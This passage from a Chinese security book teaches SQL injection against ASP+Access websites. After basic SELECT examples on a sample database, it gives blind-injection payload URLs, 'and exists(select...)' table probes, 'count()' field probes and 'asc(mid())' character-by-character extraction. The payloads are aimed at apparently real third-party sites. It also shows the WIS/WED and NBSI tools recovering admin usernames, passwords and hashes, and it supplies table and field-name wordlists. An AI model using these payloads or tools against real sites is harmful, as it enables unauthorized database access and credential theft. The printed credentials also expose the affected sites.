官术网_书友最值得收藏!

2.5 注入Access數(shù)據(jù)庫(kù)全靠猜解

上面的’or'='or’漏洞攻擊,只是一個(gè)簡(jiǎn)單的SQL注入攻擊例子。實(shí)際上,SQL注入攻擊的危害十分大,攻擊者可以借助SQL注入猜測(cè)數(shù)據(jù)庫(kù)的詳細(xì)結(jié)構(gòu),包括數(shù)據(jù)庫(kù)中的字段名和表名等,以及向數(shù)據(jù)庫(kù)中添加任意用戶或者讀取任意用戶的密碼等。

目前,最常見的網(wǎng)站程序與數(shù)據(jù)庫(kù)結(jié)構(gòu)是ASP+Access,由于Access數(shù)據(jù)庫(kù)功能比較簡(jiǎn)單,注入攻擊的方法也比較固定,因此這里首先側(cè)重講解一下ASP+Access網(wǎng)站系統(tǒng)的SQL注入攻擊原理及方法。

2.5.1 信息很豐富的Select查詢

由于Access數(shù)據(jù)庫(kù)的功能比較簡(jiǎn)單,不支持多句查詢和聯(lián)合查詢等,因此,進(jìn)行SQL注入攻擊的方法主要是建立在基本的Select查詢基礎(chǔ)上的。Select查詢是SQL注入攻擊Access數(shù)據(jù)庫(kù)的基礎(chǔ),先來(lái)簡(jiǎn)單地了解一下基礎(chǔ)的Select查詢語(yǔ)句。

1.建立一個(gè)Access攻擊目標(biāo)數(shù)據(jù)庫(kù)

Microsoft Access的安裝是非常簡(jiǎn)單的,是標(biāo)準(zhǔn)的Windows程序安裝向?qū)J剑恢眴螕簟敬_定】按鈕,即可完成安裝。這里主要講一講如何建立Access數(shù)據(jù)庫(kù)及表。

Microsoft Access提供了一個(gè)“數(shù)據(jù)庫(kù)向?qū)А? “數(shù)據(jù)庫(kù)向?qū)А笔菫榱朔奖憬?shù)據(jù)庫(kù)而設(shè)計(jì)的向?qū)ь愋偷某绦颍梢源蟠筇岣吖ぷ餍剩ㄟ^簡(jiǎn)單的幾個(gè)步驟,就可以輕松地獲得一個(gè)數(shù)據(jù)庫(kù)。這里以最新版的Microsoft Access 2007為例進(jìn)行講解。

打開Microsoft Access 2007,單擊主菜單【新建】,打開新建數(shù)據(jù)庫(kù)對(duì)話框。在左側(cè)模板類型中選擇“功能”項(xiàng),單擊右側(cè)的“空白數(shù)據(jù)庫(kù)”,在右側(cè)設(shè)置數(shù)據(jù)庫(kù)路徑及文件名(圖58)??蓪⑽募O(shè)置為“test.mdb”,并選擇保存類型為“Microsoft Access 2000數(shù)據(jù)庫(kù)”(圖59)。設(shè)置完畢后,單擊【創(chuàng)建】按鈕,即可建立一個(gè)后綴名為.mdb的Access數(shù)據(jù)庫(kù)文件。

圖58 新建空白數(shù)據(jù)庫(kù)

打開剛才新建的“test.mdb”數(shù)據(jù)庫(kù)文件,默認(rèn)自動(dòng)開始建立一個(gè)數(shù)據(jù)表。設(shè)置此數(shù)據(jù)表為幾個(gè)字段:“賬號(hào)”、“用戶名”、“手機(jī)號(hào)”、“地址”和“密碼”。將此資料表重命名為“admin”,接著輸入一些數(shù)據(jù)記錄(圖60),然后保存數(shù)據(jù)表即可(見隨書光盤 \Sample\ch2\test.mdb)。

圖59 選擇數(shù)據(jù)庫(kù)類型

圖60 示例數(shù)據(jù)庫(kù)內(nèi)容

2.需要靈活使用的幾個(gè)Select查詢

簡(jiǎn)單的Select查詢,包括選擇列表、from子句和where子句,它們分別定義說(shuō)明所查詢字段、查詢的表或視圖及搜索條件等。這些簡(jiǎn)單的查詢語(yǔ)句,都是在進(jìn)行SQL注入攻擊Access數(shù)據(jù)庫(kù)時(shí)必須用到的。

1)創(chuàng)建查詢

為了便于學(xué)習(xí)SQL語(yǔ)句,直觀地看到語(yǔ)句執(zhí)行效果,可以在Micorsoft Access軟件中打開前面建立的“test.mdb”數(shù)據(jù)庫(kù)文件。單擊功能區(qū)標(biāo)簽“創(chuàng)建”→“查詢?cè)O(shè)計(jì)”,打開查詢窗口,關(guān)閉顯示表窗口(圖61)。

圖61 創(chuàng)建查詢?cè)O(shè)計(jì)

右下角處的“SQL”按鈕,打開SQL查詢視圖,在視圖中輸入SQL語(yǔ)句,單擊工具欄上的“執(zhí)行”按鈕,即可在其中直接執(zhí)行SQL語(yǔ)句,并看到結(jié)果(圖62)。

圖62 SQL語(yǔ)句執(zhí)行窗口

例如,下面是一個(gè)簡(jiǎn)單的查詢語(yǔ)句:

            SELECT  手機(jī)號(hào),地址 FROM admin WHERE 姓名=’肖遙’

該語(yǔ)句可查詢admin表中姓名為“肖遙”的“手機(jī)號(hào)”字段和“地址”字段(圖63)。

圖63 查詢結(jié)果

2)選擇字段表

選擇字段表(select_list)用于查詢字段,它可以是一組字段名字段表、星號(hào)、表達(dá)式、變量(包括局部變量和全局變量)等構(gòu)成。

(1)選擇所有字段

例如,下面語(yǔ)句顯示admin表中所有字段的數(shù)據(jù)(圖64):

            SELECT *
            FROM admin

圖64 查詢所有字段

(2)選擇部分字段并指定它們的顯示次序

查詢結(jié)果集合中數(shù)據(jù)的排列順序與選擇列表中所指定的字段名排列順序相

同。例如:

            SELECT 姓名,密碼
            FROM admin

可查詢admin表中所有姓名和密碼字段數(shù)據(jù)(見圖65)。

圖65 查詢指定字段

(3)限制返回的行

在選擇列表查詢中,可使用TOP n [PERCENT]選項(xiàng)限制返回的記錄數(shù)據(jù)行數(shù), TOP n說(shuō)明返回n行,而TOP n PERCENT時(shí),說(shuō)明n是表示一個(gè)百分?jǐn)?shù),指定返回的行數(shù)等于總行數(shù)的百分之幾。例如:

            SELECT TOP 2 * FROM admin
            SELECT TOP 20 PERCENT * FROM admin

語(yǔ)句1的執(zhí)行結(jié)果如圖66所示。

圖66 查詢字段的指定記錄行

3)使用Where子句設(shè)置查詢條件

使用Where子句設(shè)置查詢條件,可過濾掉不需要的數(shù)據(jù)行。例如,下面語(yǔ)句查詢“姓名”為“肖遙”的數(shù)據(jù)(圖67):

            SELECT *
            FROM admin
            WHERE 姓名=’肖遙’

圖67 條件查詢結(jié)果

where子句還可包括各種條件運(yùn)算符:

比較運(yùn)算符(大小比較):>、>=、=、<、<=、<>、! >、! <。

范圍運(yùn)算符(表達(dá)式值是否在指定的范圍):BETWEEN…AND…、NOT BETWEEN…AND…。

列表運(yùn)算符(判斷表達(dá)式是否為列表中的指定項(xiàng)):IN(項(xiàng)1,項(xiàng)2……)、NOT IN(項(xiàng)1,項(xiàng)2……)。

模式匹配符(判斷值是否與指定的字符通配格式相符):LIKE、NOT LIKE。

空值判斷符(判斷表達(dá)式是否為空):IS NULL、NOT IS NULL。

邏輯運(yùn)算符(用于多條件的邏輯連接):NOT、AND、OR,要注意,邏輯運(yùn)算符的優(yōu)先級(jí)排列為:NOT、AND、OR。

另外,在使用where子句進(jìn)行條件查詢時(shí),還可以使用以下通配字符。

百分號(hào)“%”:可匹配任意類型和長(zhǎng)度的字符,如果是中文,請(qǐng)使用兩個(gè)百分號(hào)即“%%”;

下畫線“_”:匹配單個(gè)任意字符,它常用來(lái)限制表達(dá)式的字符長(zhǎng)度;

方括號(hào)“[]”:指定一個(gè)字符、字符串或范圍,要求所匹配對(duì)象為它們中的任一個(gè)。

例如,要查詢數(shù)據(jù)庫(kù)中,所有“用戶名”包含“張”的數(shù)據(jù),可執(zhí)行:

            Select *
            FROM admin
            WHERE 姓名 LIKE ‘%張%’

使用通配字符進(jìn)行查詢,主要用在網(wǎng)站搜索功能中,在進(jìn)行搜索型注入時(shí),會(huì)用到這些通配符查詢,所以是非常重要的。

4)查詢結(jié)果排序

使用ORDER BY子句,可對(duì)查詢返回的結(jié)果按一列或多列排序。ORDER BY子句的語(yǔ)法格式為:

            ORDER BY {column_name [ASC—DESC]} [, …n]

其中ASC表示升序,為默認(rèn)值,DESC為降序。ORDER BY不能按ntext、text和image數(shù)據(jù)類型進(jìn)行排序。如執(zhí)行以下語(yǔ)句,可按用戶手機(jī)號(hào)從大到小排序(圖68):

            SELECT *
            FROM admin
            ORDER BY 手機(jī)號(hào) desc

圖68 查詢結(jié)果排序顯示

2.5.2 使用Select猜解Access表及字段名

在前面用單引號(hào)法和“1=1和1=2”法,確定了SQL注入點(diǎn)的存在后,可將查詢條件替換成SQL語(yǔ)句,從而猜解出數(shù)據(jù)庫(kù)的表名。

1.Access中的查詢實(shí)驗(yàn)

先來(lái)做一個(gè)小實(shí)驗(yàn),在前面我們用Micorosoft Access建立了一個(gè)“test.mdb”數(shù)據(jù)庫(kù)(見隨書光盤 \Sample\ch2\test.mdb)。其中有名為“admin”的表及“密碼”、“用戶名”、“賬號(hào)”等字段(圖69)。用Micorosoft Access打開此數(shù)據(jù)庫(kù),建立一個(gè)SQL查詢窗口,在其中執(zhí)行語(yǔ)句:

            Select count(*) from users

圖69 “admin”表

將彈出錯(cuò)誤提示框,提示找不到輸入表或查詢“users”(圖70),這是因?yàn)樵凇皌est.mdb”數(shù)據(jù)庫(kù)中,并不存在“users”這樣一個(gè)表。再執(zhí)行如下語(yǔ)句:

            Select count(*) from admin

圖70 錯(cuò)誤提示框

可看到返回了查詢數(shù)值為“3”,這是因?yàn)閿?shù)據(jù)庫(kù)中有“admin”表,并且其中有3條記錄,上面的SQL語(yǔ)句查詢了“admin”表中的記錄,并正確的返回了記錄數(shù)目值(圖71)。

圖71 正常返回表中記錄數(shù)目

從上面的例子可以看出,使用“Select Count(*) from表名”可以檢測(cè)數(shù)據(jù)庫(kù)中是否有指定的表。因此,在進(jìn)行SQL注入時(shí),也可以使用同樣的方法來(lái)猜解數(shù)據(jù)庫(kù)中的表名。

2.用Select Count()轉(zhuǎn)換查詢類型

猜解數(shù)據(jù)庫(kù)表名的方法,是在注入點(diǎn)鏈接后,提交

            And (Select Count(*) from Admin)>=0

進(jìn)行查詢。這里以某數(shù)字型注入點(diǎn)為例:

            http://www.***.com/***.asp? ID=50

提交查詢鏈接為:

            http://www.***.com/***.asp? ID=50 And (Select Count(*) from Ad
            min)>=0

如果返回頁(yè)面與“http://www.***.com/***.asp? ID=50”相同,說(shuō)明附加條件“And (Select Count(*) from Admin)>=0”成立,表Admin存在;反之不存在。如此循環(huán),直至猜到表名為止。

表名猜出來(lái)后,可將上面的“Count(*)”替換成“Count(字段名)”進(jìn)行提交,用同樣的原理猜解字段名。

簡(jiǎn)單地說(shuō),“Select Count(*) from表名”是統(tǒng)計(jì)指定表中所有記錄數(shù)目,也就是說(shuō),只要存在指定的表,那么必然返回值為1或大于1,也就是符合“>=0”,其值為真。因此,當(dāng)數(shù)據(jù)庫(kù)中存在admin表時(shí),“And (Select Count(*) from admin)>=0”為真,等價(jià)于“and 1=1”,所以注入點(diǎn)返回頁(yè)面正常顯示。反之,頁(yè)面不正常顯示,則說(shuō)明不存在指定的表名。

Access數(shù)據(jù)庫(kù)的特殊性,其返回的錯(cuò)誤信息提示比較少,因此,在猜解Access數(shù)據(jù)庫(kù)的表名時(shí),有一定偶然的成分,如果表名起得很復(fù)雜,很沒規(guī)律,那可能無(wú)法猜解出表名。也就是說(shuō),對(duì)于Access數(shù)據(jù)庫(kù)來(lái)說(shuō),SQL注入攻擊是建立在網(wǎng)頁(yè)程序不嚴(yán)密,以及使用者安全意識(shí)不夠的基礎(chǔ)上的。

而對(duì)于SQL Server的數(shù)據(jù)庫(kù),可以通過各種方法讓網(wǎng)頁(yè)程序報(bào)出錯(cuò)誤信息,從而告訴攻擊者表名及字段名,我們?cè)诤竺娴腟QL數(shù)據(jù)庫(kù)注入篇中會(huì)做介紹。

3.猜解表名及字段名的實(shí)例

打開網(wǎng)頁(yè)“http://www.nizi.com.cn/shownews.asp? newsid=1633”,在該網(wǎng)頁(yè)鏈接后使用and 1=1和and 1=2方法進(jìn)行判斷,發(fā)現(xiàn)兩次返回信息均不相同,說(shuō)明存在SQL注入漏洞(圖72)。

圖72 檢測(cè)到Access數(shù)據(jù)庫(kù)注入點(diǎn)

現(xiàn)在可以通過在鏈接地址后加上“and exists (select * from admins)”語(yǔ)句,提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from admins)

該句表示測(cè)解網(wǎng)站數(shù)據(jù)庫(kù)中是否存在“admins”表名,但是瀏覽返回信息(圖73):

            [Microsoft][ODBC Microsoft Access Driver] Microsoft Jet 數(shù)據(jù)庫(kù)
            引擎找不到輸入表或查詢 ' admins' 。 確定它是否存在,以及它的名稱的拼寫是
            否正確。

圖73 不存在“admins”表的返回信息

說(shuō)明數(shù)據(jù)庫(kù)中不存在名為“amdins”的表名;我們可以更改表名繼續(xù)進(jìn)行猜解。提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from username)

返回依然為出錯(cuò)信息。再次提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and exists
            (select * from users)

返回頁(yè)面正常顯示,說(shuō)明在數(shù)據(jù)庫(kù)中存在“user”的表名(圖74)。

圖74 檢測(cè)“user”表返回正常信息

接著猜測(cè)“users”表中存在的字段名,在注入點(diǎn)鏈接后,添加語(yǔ)句“and (select count(username) from users)>=0”,提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
             count(username) from users)>=0

返回信息為“[Microsoft][ODBC Microsoft Access Driver] 參數(shù)不足,期待是1。”(圖75),說(shuō)明不存在“username”這個(gè)字段。再繼續(xù)提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
             count(user) from users)>=0

返回依然為錯(cuò)誤,再提交鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and  (select
            count(name) from users)>=0

終于返回正常的頁(yè)面,說(shuō)明在“users”表中存在名為“name”的用戶字段名(圖76)。

圖75 錯(cuò)誤字段名返回信息

圖76 檢測(cè)到“name”字段名

再猜測(cè)表中的密碼字段名,嘗試提交“and (select count (password) from users)>=0”、“and (select count(pass) from users)>=0”時(shí),均返回錯(cuò)誤。直接提交“and (select count(pwd) from users)>=0”時(shí),鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633  and (select
            count(pwd) from users)>=0

返回正常頁(yè)面,則說(shuō)明密碼的字段名為“pwd”(圖77)。

圖77 檢測(cè)“pwd”密碼字段名

在上面猜解步驟中可以看到,表名和字段名完全是靠經(jīng)驗(yàn)或運(yùn)氣進(jìn)行猜測(cè)的;而具體的用戶名和密碼只要按照規(guī)律就一定能猜解成功。下面給大家提供一些常見的字段名和表名,以供猜測(cè)時(shí)參考。

常見表名:admin、a_admin、x_admin、m_admin、adminuser、admin_user、article_admin、administrator、manage、manager、member、memberlist、user、users、userlist、user_list、login、用戶、密碼、會(huì)員、登錄、movie、movies、news。

常見字段名:id、admin、admin_id、adminuser、admin_user、adminuserid、admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、adminpass、adminpassword、administrators、usr、usrname、usr_name、usr_pass、usrnam、user、userid、user_id、password、pwd、userpwd、useradmin、用戶、用戶名、密碼等。

另外,對(duì)于一些常見的網(wǎng)站,可以從網(wǎng)上下載其源代碼,從而查看到其中的表名和字段名。

2.5.3 ASCII逐字解碼法猜解字段值

在表名和字段名猜解成功后,攻擊者可繼續(xù)使用SQL語(yǔ)句,猜解出所有字段中的值。比較常用的方法是“ASCII逐字解碼法”,這種方法猜解速度比較慢,但成功率非常高。

1.ASCII逐字解碼法

繼續(xù)進(jìn)行小實(shí)驗(yàn)。首先,在Access中打開前面生成的“test.mdb”數(shù)據(jù)庫(kù),執(zhí)行如下SQL查詢(圖78):

            select top 1 len(賬號(hào)) from Admin

圖78 查詢“賬號(hào)”字段值長(zhǎng)度

這里的“Top 1”,表示選擇第一條記錄。在“賬號(hào)”字段中,第一條記錄數(shù)據(jù)值為“admin1”,用“l(fā)en()”函數(shù)可獲取字段的長(zhǎng)度,得到其長(zhǎng)度為6。因此可以看到查詢顯示結(jié)果為“6”(圖79)。如果對(duì)“select top 1 len(賬號(hào)) from Admin”返回值進(jìn)行邏輯判斷的話,其值是大于0的。也就是說(shuō),“select top 1 len(賬號(hào)) from Admin>0”成立,其值為真。

圖79 顯示字段長(zhǎng)度

相應(yīng)地,利用前面的SQL注入原理,使用經(jīng)典的“1=1和1=2法”的話,可以用“(select top 1 len(賬號(hào)) from Admin)>0”代替“and 1=1”和“and 1=2”進(jìn)行判斷。也就是說(shuō),“and (select top 1 len(賬號(hào)) from Admin)>0”與“and 1=1”是等價(jià)的,其值都為真。那么,進(jìn)行注入檢測(cè)時(shí),頁(yè)面的返回就顯示正常。

但是,當(dāng)執(zhí)行查詢語(yǔ)句“(select top 1 len(賬號(hào)) from Admin)>6”時(shí),由于“(select top 1 len(賬號(hào)) from Admin)”的值為6,因此“and (select top 1 len(賬號(hào)) from Admin)>6”其值為假,相應(yīng)的就等價(jià)于“and 1=2”。那么,在進(jìn)行注入檢測(cè)時(shí),頁(yè)面的返回就顯示錯(cuò)誤信息。

反之,在不知道字段長(zhǎng)度的情況下,使用“and (select top 1 len(字段名) from表名)>0”代替“and 1=1”和“and 1=2”進(jìn)行SQL注入檢測(cè),通過頁(yè)面返回信息正常或錯(cuò)誤,也可以確定字段的長(zhǎng)度。這就是字段值猜解的原理。在具體猜解時(shí),需要對(duì)字段長(zhǎng)度進(jìn)行反復(fù)的提交嘗試,具體方法如下。

例如,已知表“Admin”中存在“username”字段,首先可取第一條記錄,測(cè)試字段的長(zhǎng)度。提交的檢測(cè)語(yǔ)句為:

            and (select top 1 len(username) from Admin)>0

整條語(yǔ)句表示,獲取“username”字段中的第一條記錄數(shù)據(jù)的長(zhǎng)度。如果記錄數(shù)據(jù)的長(zhǎng)度大于0,則條件成立,“and (select top 1 len(username) from Admin)>0”的反回值就為真,那么提交的鏈接返回頁(yè)面顯示為正常。

接著繼續(xù)測(cè)試提交:

            and (select top 1 len(username) from Admin)>1
            and (select top 1 len(username) from Admin)>2
            …………
            and (select top 1 len(username) from Admin)>*

一直到頁(yè)面返回不正常時(shí),則說(shuō)明“and (select top 1 len(username) from Admin)>*”其值為假,所以頁(yè)面返回不正常。也就是說(shuō),“(select top 1 len(username) from Admin)>*”不成立,那么“l(fā)en(username)>*”不成立,則“l(fā)en(username)=*”,可得出“username”的字段長(zhǎng)度為“*”。

在得到“username”字段的長(zhǎng)度后,可以用“mid(username, N,1)”函數(shù)來(lái)截取第N位字符,再用“asc(mid(username, N,1))”函數(shù),得到該第N位字符的ASCII碼,例如:

            and (select top 1 asc(mid(username,1,1)) from Admin)>0

如果頁(yè)面返回正常,則說(shuō)明“(select top 1 asc(mid(username,1,1)) from Admin)>0”成立,即“username”字段的第一條記錄的第一位字符,其ASCII碼是大于0的。用同樣的方法繼續(xù)提交:

            and (select top 1 asc(mid(username,1,1)) from Admin)>1
            and (select top 1 asc(mid(username,1,1)) from Admin)>2
            and (select top 1 asc(mid(username,1,1)) from Admin)>3
            …………
            and (select top 1 asc(mid(username,1,1)) from Admin)>*

直到返回頁(yè)面不正常為止,說(shuō)明提交的“and (select top 1 asc(mid(username,1,1)) from Admin)>*”是不成立的,“(select top 1 asc(mid(username,1,1)) from Admin)>*”值為假。由此可得出,“(select top 1 asc(mid(username,1,1)) from Admin)=*”,也就是說(shuō),“username”字段的第一條記錄的第一位字符,其ASCII碼是為“*”的。

再用同樣的方法猜解第2、3、4位字符,原理都是一樣的,提交格式為:

            and (select top 1 asc(mid(username, N,1)) from Admin)>1

即可猜解出第N位字符的ASCII碼。將ASCII碼轉(zhuǎn)換為對(duì)應(yīng)的字符,就可以得到相應(yīng)字段中的數(shù)據(jù)了。

2.猜解字段值的實(shí)例

在前面的實(shí)例中,猜解出了在“users”表中存在著“name”和“pwd”兩個(gè)字段,現(xiàn)在我們先來(lái)猜解“name”字段的長(zhǎng)度。提交“and (select top 1 len(name) from users)>0”,鏈接為:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>0

返回頁(yè)面正常顯示,則繼續(xù)進(jìn)行提交:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>1
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>2
            …………
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>4

返回頁(yè)面都顯示正常,直接到提交>5鏈接:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(name) from users)>5

此時(shí),返回頁(yè)面錯(cuò)誤的提示,提示信息為“該新聞不存在或未通過審核”,說(shuō)明“name”的長(zhǎng)度為5(圖80)。

圖80 檢測(cè)“name”字段長(zhǎng)度為5

用同樣的方法檢測(cè)“pwd”字段長(zhǎng)度:

            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>0
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>1
            …………
            http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
            top 1 len(pwd) from users)>8

當(dāng)提交到“(select top 1 len(pwd) from users)>8”時(shí),返回了出錯(cuò)提示,由此可以得到“pwd”字段長(zhǎng)度為8(圖81)。

圖81 猜解pwd字段長(zhǎng)度為8

現(xiàn)在要猜測(cè)具體的用戶名和密碼了,提交“and (select top 1 asc(mid(name,1,1)) from users)>0”,鏈接為:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,1,1)) from users)>0

頁(yè)面返回正常;繼續(xù)提交“and (select top 1 asc(mid(name,1,1)) from users)>10”,顯示正常。

再繼續(xù)提交“and (select top 1 asc(mid(name,1,1)) from users)>50”、“and (select top 1 asc(mid(name,1,1)) from users)>80”、“and (select top 1 asc(mid(name,1,1)) from users)>90”,頁(yè)面返回均正常。

當(dāng)提交“and (select top 1 asc(mid(name,1,1)) from users)>100”時(shí),返回錯(cuò)誤信息(圖82),由此確定“name”字段第一條記錄數(shù)據(jù)的第1位字符,其ASC編碼位于90到100之間。

圖82 第1位字符對(duì)應(yīng)ASC碼位于90到100之間

繼續(xù)提交“and (select top 1 asc(mid(name,1,1)) from users)>95”,返回正常;

提交“and (select top 1 asc(mid(name,1,1)) from users)>96”,返回正常;

直接提交到“and (select top 1 asc(mid(name,1,1)) from users)>97”時(shí),頁(yè)面返回錯(cuò)誤信息。由此說(shuō)明“name”字段第一條記錄的第一位字符對(duì)應(yīng)的ASCII碼為“97”,通過編碼轉(zhuǎn)換后,得到其對(duì)應(yīng)的字母為“a”。

提示:ASCII碼轉(zhuǎn)換器

在猜解字段記錄值的過程中,得到某個(gè)字符的ASCII碼后,可以對(duì)照ASCII碼表查出其對(duì)應(yīng)的字符。但是手工對(duì)照查找太麻煩了,攻擊者往往會(huì)使用一個(gè)叫做“ASC碼轉(zhuǎn)換器”的工具(http://www.skycn.com/soft/22830.html)?!癆SC碼逆轉(zhuǎn)換器”其實(shí)是一個(gè)VBS腳本的ASCII碼轉(zhuǎn)換工具,運(yùn)行軟件后,在“轉(zhuǎn)對(duì)應(yīng)鍵”中輸入ASC碼,如上面的“97”(圖83),單擊【轉(zhuǎn)換】按鈕后,就可以得到對(duì)應(yīng)的字符為“a”。

圖83 使用工具轉(zhuǎn)換ASCII碼字符

再繼續(xù)更改mid(name, N,1)中N的數(shù)值,用同樣的方法提交,鏈接為:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>0
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>1
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>2
        …………
        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>99

均返回正常信息,直接到提交:

        http://www.nizi.com.cn/shownews.asp? newsid=1633 and (select
        top 1 asc(mid(name,2,1)) from users)>100

此時(shí)返回了錯(cuò)誤信息,由此可確定 “name”字段第一條記錄的第二位字符對(duì)應(yīng)的ASCII碼為“100”,編碼轉(zhuǎn)換后得到其對(duì)應(yīng)的字母為“d”。

一直用同樣的方法,猜解出“name”字段第一條記錄的所有字符,對(duì)應(yīng)的值為“admin”。再用同樣的方法,猜解“pwd”字段第一條記錄中的所有字符,所到其對(duì)應(yīng)的數(shù)值為“/fengner”。

提示:ASCII碼值在0~128的范圍之內(nèi),表示其對(duì)應(yīng)的字符是字母或數(shù)字;如果在猜解過程中,得到字段記錄中某個(gè)字符,其對(duì)應(yīng)的ASCII碼為負(fù)數(shù)的話,說(shuō)明此字符為漢字。

2.5.4 三分鐘攻陷了一個(gè)網(wǎng)站

使用上面的方法進(jìn)行手工猜解時(shí),如果字段名和表名比較少見,用戶名、密碼等設(shè)置得比較復(fù)雜的話,手工猜解的方法很難、很麻煩。為了加快入侵攻擊的步伐,攻擊者們往往會(huì)利用上面的攻擊原理,制作出SQL自動(dòng)注入的工具來(lái)代替手工提交鏈接,因此攻擊危害性非常大。往往攻擊入侵一個(gè)網(wǎng)站,不過是幾分鐘之內(nèi)的事情。

當(dāng)然,這類攻擊工具在網(wǎng)絡(luò)安全工作者的手中同樣也可以發(fā)揮出強(qiáng)大的威力,幫助我們彌補(bǔ)網(wǎng)站的安全漏洞。

1.快速破解用戶密碼

比較常用的SQL自動(dòng)注入工具是非常多,這里簡(jiǎn)單地介紹一下“WIS+WED”和NBSI2的使用。

1)WIS+WED

“wed+wis”的SQL注入工具包,是在由國(guó)內(nèi)一位著名黑客小榕發(fā)布的SQL注入工具。注入速度是驚人之快,使用該工具不僅可以很快地找到網(wǎng)站的SQL注入漏洞的頁(yè)面,而且可以很快猜出管理員的賬號(hào)和密碼。

工具包中包括兩個(gè)程序:“wed.exe”和“wis.exe”(圖84),其中“wis.exe”是用來(lái)掃描某個(gè)站點(diǎn)中存在的SQL注入漏洞的,并且可以掃描到后臺(tái)管理員登錄的路徑;“wed.exe”則是用來(lái)猜測(cè)SQL注入賬號(hào)和密碼的。兩個(gè)工具結(jié)合起來(lái),可完成的一個(gè)完整的SQL注入攻擊過程。

本來(lái)這兩個(gè)工具都是命令行下使用的程序,不過為了方便使用,有人在這個(gè)工具上加上了GUI圖形外殼。直接執(zhí)行壓縮包中的“OPEN TOOLS.exe”程序就可以了。

圖84 wed+wis注入工具

可先用WIS代替手工尋找SQL注入點(diǎn),運(yùn)行程序“OPEN TOOLS.exe”,在程序界面的“WIS Url”后輸入某個(gè)網(wǎng)站地址,如“http://www.3uo.cn/”(圖85),單擊【Start】按鈕后,就開始搜索網(wǎng)站中存在的注入漏洞了。

圖85 設(shè)置掃描站點(diǎn)

程序自動(dòng)打開了一個(gè)命令窗口,并自動(dòng)進(jìn)行掃描,很快得到了掃描結(jié)果。其中紅色的鏈接地址,就是掃描到的注入點(diǎn)(圖86)。在本例中提示的信息為:

        SQL Injection Found: /shownews.asp? id=26
        Injection Page Final Result:
        ============================
        /shownews.asp? id=26

由上可知,SQL漏洞注入點(diǎn)鏈接地址為“http://www.3uo.cn/shownews.asp? id=26”。

圖86 掃描到注入漏洞鏈接

掃描完整個(gè)網(wǎng)站中的SQL注入頁(yè)面后,可以繼續(xù)第二個(gè)步驟,就是破解管理員用戶名和密碼。選擇掃描出的SQL注入點(diǎn)列表中的某個(gè)鏈接作為破解目標(biāo),返回OPEN TOOLS界面,在“WED Url”后輸入注入點(diǎn)的鏈接地址:“http://www.3uo.cn/shownews.asp? id=26”,再次單擊【Start】按鈕(圖87)。

圖87 注入點(diǎn)破解設(shè)置

程序會(huì)打開另外一個(gè)命令窗口,開始破解用戶名和密碼。程序會(huì)自動(dòng)調(diào)用工具包中的3個(gè)文件,“TableName.dic”、“UserField.dic”和“PassField.dic”,這幾個(gè)文件是破解用戶數(shù)據(jù)庫(kù)中的字表名、用戶名和用戶密碼所需的默認(rèn)字典文件。一般來(lái)說(shuō),WED程序很快就可以完成用戶名和密碼的破解,可以看到用戶名和密碼為數(shù)據(jù)(圖88)。破解成功的提示信息如下:

        Got Table Name is "admin"
        Got Name Field is "userid"
        Got Length of Field "userid" is: 2
        Got Password Field is "adminpassword"
        Got Length of Field "adminpassword" is: 16
        userid is: baoma_530
        adminpassword is: mingnianjintir666bao*

其中,在“userid is:”后顯示的就是用戶名,“password is:”后顯示的就是用戶密碼?!癎ot Table Name is”后接的是猜解出來(lái)的表名;“Got Name Field is”后表示猜解出來(lái)的用戶名字段,“Got Length of Field”顯示的是指定字段的長(zhǎng)度;“Got Password Field is”后是密碼字段。

圖88 破解出用戶名和密碼

2)NBSI自動(dòng)猜解用戶密碼

NBSI的功能更為強(qiáng)大些,掃描網(wǎng)站注入點(diǎn)在“網(wǎng)站掃描”界面中進(jìn)行。找到注入點(diǎn)后,在“注入分析”界面的“注入地址”中輸入注入點(diǎn)鏈接地址,單擊右側(cè)的【檢測(cè)】按鈕,很快會(huì)在“分析結(jié)果”中顯示檢測(cè)結(jié)果。例如,這里顯示“信息捕獲”為“HTTP報(bào)頭及IIS提示分析”,注入方式為“數(shù)字型”,數(shù)據(jù)庫(kù)為“Access”(圖89)。

圖89 注入點(diǎn)詳細(xì)信息

單擊下方的“已猜測(cè)表名”中的【自動(dòng)猜解】按鈕,在中間列表顯示檢測(cè)到的表名為“admin”和“users”、“news”(圖90)。選擇“admin”后,在“已猜解字段名”框下單擊【自動(dòng)猜解】按鈕,執(zhí)行完畢后在中間列表中顯示數(shù)據(jù)庫(kù)中的字段名為“id”、“adminname”和“adminpassword”(圖91)。勾選所有字段名后,單擊右邊“已猜解記錄”框下的【猜解數(shù)據(jù)】按鈕,很快就可以得到用戶名和密碼了(圖92)。在這里字段破解信息記錄有兩條:

圖90 猜解數(shù)據(jù)庫(kù)表名

圖91 猜解出指定表中的字段名

圖92 猜解出指定字段記錄值

            [id]:14 [adminname]:admin [adminpassword]:4c0de7ea4d0d467c
            [id]:21 [adminname]:lager [adminpassword]:7a57a5a743894a0e

